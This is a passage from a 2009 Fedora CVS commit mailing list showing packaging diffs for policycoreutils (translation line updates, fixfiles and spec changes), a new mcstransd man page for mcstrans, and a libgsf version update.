++#: ../semanage/seobject.py:338
  msgid "Permissive Types"
  msgstr ""
  
 -#: ../semanage/seobject.py:378
-+#: ../semanage/seobject.py:355
++#: ../semanage/seobject.py:380
  #, python-format
  msgid "Could not set permissive domain %s (module installation failed)"
  msgstr ""
  
 -#: ../semanage/seobject.py:384
-+#: ../semanage/seobject.py:369
++#: ../semanage/seobject.py:386
  #, python-format
  msgid "Could not remove permissive domain %s (remove failed)"
  msgstr ""
@@ -76,458 +137,458 @@ diff --exclude-from=exclude -N -u -r nsa
 -#: ../semanage/seobject.py:933 ../semanage/seobject.py:1506
 -#: ../semanage/seobject.py:1570 ../semanage/seobject.py:1582
 -#: ../semanage/seobject.py:1663 ../semanage/seobject.py:1714
-+#: ../semanage/seobject.py:395 ../semanage/seobject.py:455
-+#: ../semanage/seobject.py:501 ../semanage/seobject.py:583
-+#: ../semanage/seobject.py:650 ../semanage/seobject.py:708
-+#: ../semanage/seobject.py:918 ../semanage/seobject.py:1491
-+#: ../semanage/seobject.py:1555 ../semanage/seobject.py:1567
-+#: ../semanage/seobject.py:1648 ../semanage/seobject.py:1699
++#: ../semanage/seobject.py:412 ../semanage/seobject.py:472
++#: ../semanage/seobject.py:518 ../semanage/seobject.py:600
++#: ../semanage/seobject.py:667 ../semanage/seobject.py:725
++#: ../semanage/seobject.py:935 ../semanage/seobject.py:1550
++#: ../semanage/seobject.py:1614 ../semanage/seobject.py:1633
++#: ../semanage/seobject.py:1720 ../semanage/seobject.py:1771
  #, python-format
  msgid "Could not create a key for %s"
  msgstr ""
  
 -#: ../semanage/seobject.py:414 ../semanage/seobject.py:474
 -#: ../semanage/seobject.py:520 ../semanage/seobject.py:526
-+#: ../semanage/seobject.py:399 ../semanage/seobject.py:459
-+#: ../semanage/seobject.py:505 ../semanage/seobject.py:511
++#: ../semanage/seobject.py:416 ../semanage/seobject.py:476
++#: ../semanage/seobject.py:522 ../semanage/seobject.py:528
  #, python-format
  msgid "Could not check if login mapping for %s is defined"
  msgstr ""
  
 -#: ../semanage/seobject.py:416
-+#: ../semanage/seobject.py:401
++#: ../semanage/seobject.py:418
  #, python-format
[...310280 lines suppressed...]
-+#: ../gui/system-config-selinux.glade:1807
++#: ../gui/system-config-selinux.glade:1616
 +msgid "Toggle between Customized and All Booleans"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1825
++#: ../gui/system-config-selinux.glade:1634
 +msgid "Run booleans lockdown wizard"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1826
++#: ../gui/system-config-selinux.glade:1635
 +msgid "Lockdown..."
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1856
-+#: ../gui/system-config-selinux.glade:2061
-+#: ../gui/system-config-selinux.glade:2248
-+#: ../gui/system-config-selinux.glade:2435
-+#: ../gui/system-config-selinux.glade:2622
-+#: ../gui/system-config-selinux.glade:2865
-+#: ../gui/system-config-selinux.glade:3090
-+#: ../gui/system-config-selinux.glade:3265
++#: ../gui/system-config-selinux.glade:1665
++#: ../gui/system-config-selinux.glade:1870
++#: ../gui/system-config-selinux.glade:2057
++#: ../gui/system-config-selinux.glade:2244
++#: ../gui/system-config-selinux.glade:2487
++#: ../gui/system-config-selinux.glade:2712
++#: ../gui/system-config-selinux.glade:2887
 +msgid "Filter"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1945
++#: ../gui/system-config-selinux.glade:1754
 +msgid "label50"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1982
++#: ../gui/system-config-selinux.glade:1791
 +msgid "Add File Context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:1998
++#: ../gui/system-config-selinux.glade:1807
 +msgid "Modify File Context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2014
++#: ../gui/system-config-selinux.glade:1823
 +msgid "Delete File Context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2030
++#: ../gui/system-config-selinux.glade:1839
 +msgid "Toggle between all and customized file context"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2150
++#: ../gui/system-config-selinux.glade:1959
 +msgid "label38"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2187
++#: ../gui/system-config-selinux.glade:1996
 +msgid "Add SELinux User Mapping"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2203
++#: ../gui/system-config-selinux.glade:2012
 +msgid "Modify SELinux User Mapping"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2219
++#: ../gui/system-config-selinux.glade:2028
 +msgid "Delete SELinux User Mapping"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2337
++#: ../gui/system-config-selinux.glade:2146
 +msgid "label39"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2374
++#: ../gui/system-config-selinux.glade:2183
 +msgid "Add User"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2390
++#: ../gui/system-config-selinux.glade:2199
 +msgid "Modify User"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2406
++#: ../gui/system-config-selinux.glade:2215
 +msgid "Delete User"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2524
++#: ../gui/system-config-selinux.glade:2333
 +msgid "label41"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2561
-+msgid "Add Translation"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2577
-+msgid "Modify Translation"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2593
-+msgid "Delete Translation"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2711
-+msgid "label40"
-+msgstr ""
-+
-+#: ../gui/system-config-selinux.glade:2748
++#: ../gui/system-config-selinux.glade:2370
 +msgid "Add Network Port"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2764
++#: ../gui/system-config-selinux.glade:2386
 +msgid "Edit Network Port"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2780
++#: ../gui/system-config-selinux.glade:2402
 +msgid "Delete Network Port"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2816
-+#: ../gui/system-config-selinux.glade:2834
++#: ../gui/system-config-selinux.glade:2438
++#: ../gui/system-config-selinux.glade:2456
 +msgid "Toggle between Customized and All Ports"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2954
++#: ../gui/system-config-selinux.glade:2576
 +msgid "label42"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:2991
++#: ../gui/system-config-selinux.glade:2613
 +msgid "Generate new policy module"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3007
++#: ../gui/system-config-selinux.glade:2629
 +msgid "Load policy module"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3023
++#: ../gui/system-config-selinux.glade:2645
 +msgid "Remove loadable policy module"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3059
++#: ../gui/system-config-selinux.glade:2681
 +msgid ""
 +"Enable/Disable additional audit rules, that are normally not reported in the "
 +"log files."
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3179
++#: ../gui/system-config-selinux.glade:2801
 +msgid "label44"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3216
++#: ../gui/system-config-selinux.glade:2838
 +msgid "Change process mode to permissive."
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3234
++#: ../gui/system-config-selinux.glade:2856
 +msgid "Change process mode to enforcing"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3326
++#: ../gui/system-config-selinux.glade:2948
 +msgid "Process Domain"
 +msgstr ""
 +
-+#: ../gui/system-config-selinux.glade:3354
++#: ../gui/system-config-selinux.glade:2976
 +msgid "label59"
 +msgstr ""
 +
-+#: ../gui/translationsPage.py:53
-+msgid "Sensitvity Level"
-+msgstr ""
-+
 +#: ../gui/usersPage.py:138
 +#, python-format
 +msgid "SELinux user '%s' is required"

policycoreutils-rhat.patch:
 Makefile                                    |    2 
 audit2allow/audit2allow                     |   14 
 load_policy/Makefile                        |    5 
 restorecond/Makefile                        |   24 -
 restorecond/org.selinux.Restorecond.service |    3 
 restorecond/restorecond                     |binary
 restorecond/restorecond.c                   |  422 +++---------------
 restorecond/restorecond.conf                |    5 
 restorecond/restorecond.desktop             |    7 
 restorecond/restorecond.h                   |   18 
 restorecond/restorecond.init                |    5 
 restorecond/restorecond.o                   |binary
 restorecond/restorecond_user.conf           |    2 
 restorecond/stringslist.o                   |binary
 restorecond/user.c                          |  237 ++++++++++
 restorecond/user.o                          |binary
 restorecond/utmpwatcher.o                   |binary
 restorecond/watch.c                         |  253 +++++++++++
 restorecond/watch.o                         |binary
 sandbox/Makefile                            |   31 +
 sandbox/deliverables/README                 |   32 +
 sandbox/deliverables/basicwrapper           |    4 
 sandbox/deliverables/run-in-sandbox.py      |   49 ++
 sandbox/deliverables/sandbox                |  216 +++++++++
 sandbox/sandbox                             |  242 ++++++++++
 sandbox/sandbox.8                           |   26 +
 sandbox/sandboxX.sh                         |   16 
 sandbox/seunshare.c                         |  265 +++++++++++
 scripts/Makefile                            |    2 
 scripts/chcat                               |    2 
 scripts/fixfiles                            |    1 
 semanage/semanage                           |   99 ++--
 semanage/seobject.py                        |  209 +++++----
 semodule/semodule.8                         |    6 
 semodule/semodule.c                         |   53 ++
 setfiles/Makefile                           |    2 
 setfiles/restore.c                          |  519 ++++++++++++++++++++++
 setfiles/restore.h                          |   49 ++
 setfiles/restore.o                          |binary
 setfiles/setfiles.c                         |  643 +++-------------------------
 40 files changed, 2399 insertions(+), 1064 deletions(-)

Index: policycoreutils-rhat.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-rhat.patch,v
retrieving revision 1.449
retrieving revision 1.450
diff -u -p -r1.449 -r1.450
--- policycoreutils-rhat.patch	6 Oct 2009 16:11:11 -0000	1.449
+++ policycoreutils-rhat.patch	16 Oct 2009 13:38:03 -0000	1.450
@@ -124,6 +124,7 @@ diff --exclude-from=exclude --exclude=se
 +[D-BUS Service]
 +Name=org.selinux.Restorecond
 +Exec=/usr/sbin/restorecond -u
+Binary files nsapolicycoreutils/restorecond/restorecond and policycoreutils-2.0.74/restorecond/restorecond differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond.c policycoreutils-2.0.74/restorecond/restorecond.c
 --- nsapolicycoreutils/restorecond/restorecond.c	2009-08-20 15:49:21.000000000 -0400
 +++ policycoreutils-2.0.74/restorecond/restorecond.c	2009-09-24 22:59:01.000000000 -0400
@@ -690,12 +691,14 @@ diff --exclude-from=exclude --exclude=se
  
  exit $RETVAL
 -
+Binary files nsapolicycoreutils/restorecond/restorecond.o and policycoreutils-2.0.74/restorecond/restorecond.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/restorecond_user.conf policycoreutils-2.0.74/restorecond/restorecond_user.conf
 --- nsapolicycoreutils/restorecond/restorecond_user.conf	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/restorecond/restorecond_user.conf	2009-09-20 21:26:36.000000000 -0400
 @@ -0,0 +1,2 @@
 +~/*
 +~/public_html/*
+Binary files nsapolicycoreutils/restorecond/stringslist.o and policycoreutils-2.0.74/restorecond/stringslist.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/user.c policycoreutils-2.0.74/restorecond/user.c
 --- nsapolicycoreutils/restorecond/user.c	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/restorecond/user.c	2009-09-20 21:26:36.000000000 -0400
@@ -937,6 +940,8 @@ diff --exclude-from=exclude --exclude=se
 +    return 0;
 +}
 +
+Binary files nsapolicycoreutils/restorecond/user.o and policycoreutils-2.0.74/restorecond/user.o differ
+Binary files nsapolicycoreutils/restorecond/utmpwatcher.o and policycoreutils-2.0.74/restorecond/utmpwatcher.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/restorecond/watch.c policycoreutils-2.0.74/restorecond/watch.c
 --- nsapolicycoreutils/restorecond/watch.c	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/restorecond/watch.c	2009-10-06 12:06:56.000000000 -0400
@@ -1194,6 +1199,7 @@ diff --exclude-from=exclude --exclude=se
 +		exitApp("Error watching config file.");
 +}
 +
+Binary files nsapolicycoreutils/restorecond/watch.o and policycoreutils-2.0.74/restorecond/watch.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/sandbox/deliverables/basicwrapper policycoreutils-2.0.74/sandbox/deliverables/basicwrapper
 --- nsapolicycoreutils/sandbox/deliverables/basicwrapper	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/sandbox/deliverables/basicwrapper	2009-08-14 10:53:53.000000000 -0400
@@ -2123,6 +2129,17 @@ diff --exclude-from=exclude --exclude=se
      
      sys.exit(errors)
      
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/fixfiles policycoreutils-2.0.74/scripts/fixfiles
+--- nsapolicycoreutils/scripts/fixfiles	2009-08-05 15:10:56.000000000 -0400
++++ policycoreutils-2.0.74/scripts/fixfiles	2009-10-14 08:51:36.000000000 -0400
+@@ -136,6 +136,7 @@
+     fi
+     return
+ fi
++[ -x /usr/sbin/genhomedircon ] && /usr/sbin/genhomedircon
+ LogReadOnly
+ ${SETFILES} -q ${OUTFILES} ${SYSLOGFLAG} ${FORCEFLAG} $* ${FC} ${FILESYSTEMSRW} 2>&1 >> $LOGFILE
+ rm -rf /tmp/gconfd-* /tmp/pulse-* /tmp/orbit-*
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/scripts/Makefile policycoreutils-2.0.74/scripts/Makefile
 --- nsapolicycoreutils/scripts/Makefile	2008-08-28 09:34:24.000000000 -0400
 +++ policycoreutils-2.0.74/scripts/Makefile	2009-09-20 21:26:36.000000000 -0400
@@ -3388,6 +3405,7 @@ diff --exclude-from=exclude --exclude=se
 +int process_one(char *name, int recurse);
 +
 +#endif
+Binary files nsapolicycoreutils/setfiles/restore.o and policycoreutils-2.0.74/setfiles/restore.o differ
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/setfiles.c policycoreutils-2.0.74/setfiles/setfiles.c
 --- nsapolicycoreutils/setfiles/setfiles.c	2009-09-17 08:59:43.000000000 -0400
 +++ policycoreutils-2.0.74/setfiles/setfiles.c	2009-09-20 21:26:36.000000000 -0400


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.650
retrieving revision 1.651
diff -u -p -r1.650 -r1.651
--- policycoreutils.spec	6 Oct 2009 16:11:12 -0000	1.650
+++ policycoreutils.spec	16 Oct 2009 13:38:04 -0000	1.651
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 8%{?dist}
+Release: 10%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -133,8 +133,6 @@ The policycoreutils-python package conta
 %{_mandir}/ru/man8/chcat.8*
 %{_mandir}/man8/semanage.8*
 %{_mandir}/ru/man8/semanage.8*
-%{_mandir}/man8/fixfiles.8*
-%{_mandir}/ru/man8/fixfiles.8*
 
 %post python
 [ -f /usr/share/selinux/devel/include/build.conf ] && /usr/bin/sepolgen-ifgen 
@@ -249,6 +247,8 @@ rm -rf %{buildroot}
 %{_sysconfdir}/xdg/autostart/restorecond.desktop
 %{_datadir}/dbus-1/services/org.selinux.Restorecond.service
 # selinux-policy Requires: policycoreutils, so we own this set of directories and our files within them
+%{_mandir}/man8/fixfiles.8*
+%{_mandir}/ru/man8/fixfiles.8*
 %{_mandir}/man8/load_policy.8*
 %{_mandir}/ru/man8/load_policy.8*
 %{_mandir}/man8/open_init_pty.8*
@@ -296,6 +296,13 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-10
+- Remove translations screen from system-config-selinux
+
+* Wed Oct 14 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-9
+- Move fixfiles man pages into the correct package
+- Add genhomedircon to fixfiles restore
+
 * Thu Oct 6 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
 - Add check to sandbox to verify save changes - Chris Pardy
 - Fix memory leak in restorecond - Steve Grubb



From dwalsh at fedoraproject.org  Fri Oct 16 13:52:10 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 16 Oct 2009 13:52:10 +0000 (UTC)
Subject: rpms/mcstrans/devel mcstrans-0.3.1-man.patch, NONE,
	1.1 mcstrans.spec, 1.44, 1.45
Message-ID: <20091016135210.C883011C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/mcstrans/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7044

Modified Files:
	mcstrans.spec 
Added Files:
	mcstrans-0.3.1-man.patch 
Log Message:
* Thu Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 0.3.1-4
- Add mcstransd man page


mcstrans-0.3.1-man.patch:
 mcstransd.8 |   25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

--- NEW FILE mcstrans-0.3.1-man.patch ---
diff -up mcstrans-0.3.1/man/man8/mcstransd.8.man mcstrans-0.3.1/man/man8/mcstransd.8
--- mcstrans-0.3.1/man/man8/mcstransd.8.man	2009-10-16 09:50:45.000000000 -0400
+++ mcstrans-0.3.1/man/man8/mcstransd.8	2009-10-16 09:48:28.000000000 -0400
@@ -0,0 +1,25 @@
+.TH "mcstransd" "8" "16 Oct 2009" "dwalsh at redhat.com" "mcs documentation"
+.SH "NAME"
+mcstransd \- MCS (Multiple Category System) daemon.  Translates SELinux MCS/MLS labels to human readable form.
+
+.SH "SYNOPSIS"
+.B mcstransd 
+.P
+
+.SH "DESCRIPTION"
+This manual page describes the
+.BR mcstransd
+program.
+.P
+This daemon reads /etc/selinux/{SELINUXTYPE}/setrans.conf configuration file, and communicates with libselinux via a socket in /var/run/setrans.
+
+.SH "AUTHOR"
+This man page was written by Dan Walsh <dwalsh at redhat.com>.
+The program was originally written by Dan Walsh <dwalsh at redhat.com>.
+The program was enhanced/rwwritten by Joe Nall <joe at nall.com>.
+
+.SH "FILES"
+/etc/selinux/{SELINUXTYPE}/setrans.conf 
+
+.SH "SEE ALSO"
+.BR mcs (8),


Index: mcstrans.spec
===================================================================
RCS file: /cvs/extras/rpms/mcstrans/devel/mcstrans.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- mcstrans.spec	17 Sep 2009 09:44:36 -0000	1.44
+++ mcstrans.spec	16 Oct 2009 13:52:08 -0000	1.45
@@ -1,7 +1,7 @@
 Summary: SELinux Translation Daemon
 Name: mcstrans
 Version: 0.3.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPL+
 Group: System Environment/Daemons
 Source: http://fedora.redhat.com/projects/%{name}-%{version}.tgz
@@ -14,6 +14,7 @@ Requires(post):/sbin/chkconfig /sbin/ser
 Provides: setransd
 Provides: libsetrans
 Patch: mcstrans-0.3.1-init.patch
+Patch1: mcstrans-0.3.1-man.patch
 Obsoletes: libsetrans
 
 %description
@@ -32,7 +33,8 @@ from internal representations to user de
 
 %prep
 %setup -q
-%patch -p1 
+%patch -p1 -b .init
+%patch1 -p1 -b .man
 
 %build
 make clean
@@ -73,6 +75,7 @@ fi
 %files
 %defattr(-,root,root,0755)
 %{_mandir}/man8/mcs.8.gz
+%{_mandir}/man8/mcstransd.8.gz
 /sbin/mcstransd
 %{_sysconfdir}/rc.d/init.d/mcstrans
 %dir %{_sysconfdir}/selinux/mls/setrans.d
@@ -88,6 +91,9 @@ fi
 %{_usr}/share/mcstrans/util/*
 
 %changelog
+* Thu Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 0.3.1-4
+- Add mcstransd man page
+
 * Thu Sep 17 2009 Miroslav Grepl <mgrepl at redhat.com> 0.3.1-3
 - Fix init script
 



From dwalsh at fedoraproject.org  Fri Oct 16 13:53:08 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 16 Oct 2009 13:53:08 +0000 (UTC)
Subject: rpms/mcstrans/F-12 mcstrans-0.3.1-man.patch, NONE, 1.1 mcstrans.spec,
	1.44, 1.45
Message-ID: <20091016135308.237FD11C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/mcstrans/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7317

Modified Files:
	mcstrans.spec 
Added Files:
	mcstrans-0.3.1-man.patch 
Log Message:
* Thu Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 0.3.1-4
- Add mcstransd man page


mcstrans-0.3.1-man.patch:
 mcstransd.8 |   25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

--- NEW FILE mcstrans-0.3.1-man.patch ---
diff -up mcstrans-0.3.1/man/man8/mcstransd.8.man mcstrans-0.3.1/man/man8/mcstransd.8
--- mcstrans-0.3.1/man/man8/mcstransd.8.man	2009-10-16 09:50:45.000000000 -0400
+++ mcstrans-0.3.1/man/man8/mcstransd.8	2009-10-16 09:48:28.000000000 -0400
@@ -0,0 +1,25 @@
+.TH "mcstransd" "8" "16 Oct 2009" "dwalsh at redhat.com" "mcs documentation"
+.SH "NAME"
+mcstransd \- MCS (Multiple Category System) daemon.  Translates SELinux MCS/MLS labels to human readable form.
+
+.SH "SYNOPSIS"
+.B mcstransd 
+.P
+
+.SH "DESCRIPTION"
+This manual page describes the
+.BR mcstransd
+program.
+.P
+This daemon reads /etc/selinux/{SELINUXTYPE}/setrans.conf configuration file, and communicates with libselinux via a socket in /var/run/setrans.
+
+.SH "AUTHOR"
+This man page was written by Dan Walsh <dwalsh at redhat.com>.
+The program was originally written by Dan Walsh <dwalsh at redhat.com>.
+The program was enhanced/rwwritten by Joe Nall <joe at nall.com>.
+
+.SH "FILES"
+/etc/selinux/{SELINUXTYPE}/setrans.conf 
+
+.SH "SEE ALSO"
+.BR mcs (8),


Index: mcstrans.spec
===================================================================
RCS file: /cvs/extras/rpms/mcstrans/F-12/mcstrans.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- mcstrans.spec	17 Sep 2009 09:44:36 -0000	1.44
+++ mcstrans.spec	16 Oct 2009 13:53:08 -0000	1.45
@@ -1,7 +1,7 @@
 Summary: SELinux Translation Daemon
 Name: mcstrans
 Version: 0.3.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPL+
 Group: System Environment/Daemons
 Source: http://fedora.redhat.com/projects/%{name}-%{version}.tgz
@@ -14,6 +14,7 @@ Requires(post):/sbin/chkconfig /sbin/ser
 Provides: setransd
 Provides: libsetrans
 Patch: mcstrans-0.3.1-init.patch
+Patch1: mcstrans-0.3.1-man.patch
 Obsoletes: libsetrans
 
 %description
@@ -32,7 +33,8 @@ from internal representations to user de
 
 %prep
 %setup -q
-%patch -p1 
+%patch -p1 -b .init
+%patch1 -p1 -b .man
 
 %build
 make clean
@@ -73,6 +75,7 @@ fi
 %files
 %defattr(-,root,root,0755)
 %{_mandir}/man8/mcs.8.gz
+%{_mandir}/man8/mcstransd.8.gz
 /sbin/mcstransd
 %{_sysconfdir}/rc.d/init.d/mcstrans
 %dir %{_sysconfdir}/selinux/mls/setrans.d
@@ -88,6 +91,9 @@ fi
 %{_usr}/share/mcstrans/util/*
 
 %changelog
+* Thu Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 0.3.1-4
+- Add mcstransd man page
+
 * Thu Sep 17 2009 Miroslav Grepl <mgrepl at redhat.com> 0.3.1-3
 - Fix init script
 



From caolanm at fedoraproject.org  Fri Oct 16 14:14:32 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri, 16 Oct 2009 14:14:32 +0000 (UTC)
Subject: rpms/libgsf/devel .cvsignore, 1.28, 1.29 libgsf.spec, 1.74,
	1.75 sources, 1.29, 1.30 libgsf.gnome594359.gdk-pixbuf.patch,
	1.1, NONE
Message-ID: <20091016141432.A167911C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/libgsf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12536

Modified Files:
	.cvsignore libgsf.spec sources 
Removed Files:
	libgsf.gnome594359.gdk-pixbuf.patch 
Log Message:
latest version, drop integrated patches


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libgsf/devel/.cvsignore,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- .cvsignore	22 Jun 2009 08:53:49 -0000	1.28
+++ .cvsignore	16 Oct 2009 14:14:31 -0000	1.29
@@ -1 +1 @@
-libgsf-1.14.15.tar.bz2
+libgsf-1.14.16.tar.bz2


Index: libgsf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgsf/devel/libgsf.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- libgsf.spec	7 Sep 2009 10:02:54 -0000	1.74
+++ libgsf.spec	16 Oct 2009 14:14:31 -0000	1.75
@@ -3,17 +3,16 @@
 
 Summary: GNOME Structured File library
 Name: libgsf
-Version: 1.14.15
-Release: 4%{?dist}
+Version: 1.14.16
+Release: 1%{?dist}
 Group: System Environment/Libraries
 License: LGPLv2
 Source: ftp://ftp.gnome.org/pub/GNOME/sources/%{name}/1.14/%{name}-%{version}.tar.bz2
 URL: http://www.gnome.org/projects/libgsf/
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires: glib2-devel, perl-XML-Parser, autoconf
+BuildRequires: glib2-devel, perl-XML-Parser
 BuildRequires: libtool, libxml2-devel, glib2-devel, bzip2-devel, gettext
 BuildRequires: libbonobo-devel, pygtk2-devel, intltool, gnome-vfs2-devel
-Patch0: libgsf.gnome594359.gdk-pixbuf.patch
 Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
@@ -59,10 +58,8 @@ Python bindings for libgsf
 
 %prep
 %setup -q
-%patch0 -p1 -b .gnome594359.gdk-pixbuf
 
 %build
-autoreconf
 %configure --disable-gtk-doc --disable-static
 make %{?_smp_mflags}
 
@@ -136,6 +133,10 @@ fi
 rm -r $RPM_BUILD_ROOT
 
 %changelog
+* Fri Oct 16 2009 Caol?n McNamara <caolanm at redhat.com> 1.14.16-1
+- latest version
+- drop integrated libgsf.gnome594359.gdk-pixbuf.patch
+
 * Mon Sep 07 2009 Caol?n McNamara <caolanm at redhat.com> 1.14.15-4
 - Resolves: rhbz#521513 try gdk-pixbuf before ImageMagick convert
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libgsf/devel/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	22 Jun 2009 08:53:49 -0000	1.29
+++ sources	16 Oct 2009 14:14:31 -0000	1.30
@@ -1 +1 @@
-5118e971b4257f50b6914404593f63cf  libgsf-1.14.15.tar.bz2
+8478d83fda0b6e57f36550c11a693ee1  libgsf-1.14.16.tar.bz2


--- libgsf.gnome594359.gdk-pixbuf.patch DELETED ---



From dwalsh at fedoraproject.org  Fri Oct 16 14:46:46 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri, 16 Oct 2009 14:46:46 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-gui.patch, 1.95,
	1.96 policycoreutils.spec, 1.652, 1.653
Message-ID: <20091016144646.9DD0711C00E5@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21761

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Fri Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-11
- Remove tabs from system-config-selinux glade file


policycoreutils-gui.patch:
 Makefile                     |   40 
 booleansPage.py              |  247 +++
 domainsPage.py               |  154 ++
 fcontextPage.py              |  223 ++
 html_util.py                 |  164 ++
 lockdown.glade               |  771 ++++++++++
 lockdown.gladep              |    7 
 lockdown.py                  |  382 ++++
 loginsPage.py                |  185 ++
 mappingsPage.py              |   56 
 modulesPage.py               |  190 ++
 polgen.glade                 | 3305 +++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep                |    7 
 polgen.py                    | 1188 +++++++++++++++
 polgengui.py                 |  627 ++++++++
 portsPage.py                 |  259 +++
 selinux.tbl                  |  234 +++
 semanagePage.py              |  168 ++
 statusPage.py                |  190 ++
 system-config-selinux.glade  | 3024 +++++++++++++++++++++++++++++++++++++++
 system-config-selinux.gladep |    7 
 system-config-selinux.py     |  187 ++
 templates/__init__.py        |   18 
 templates/boolean.py         |   40 
 templates/etc_rw.py          |  129 +
 templates/executable.py      |  359 ++++
 templates/network.py         |   80 +
 templates/rw.py              |  127 +
 templates/script.py          |   99 +
 templates/semodule.py        |   41 
 templates/tmp.py             |   97 +
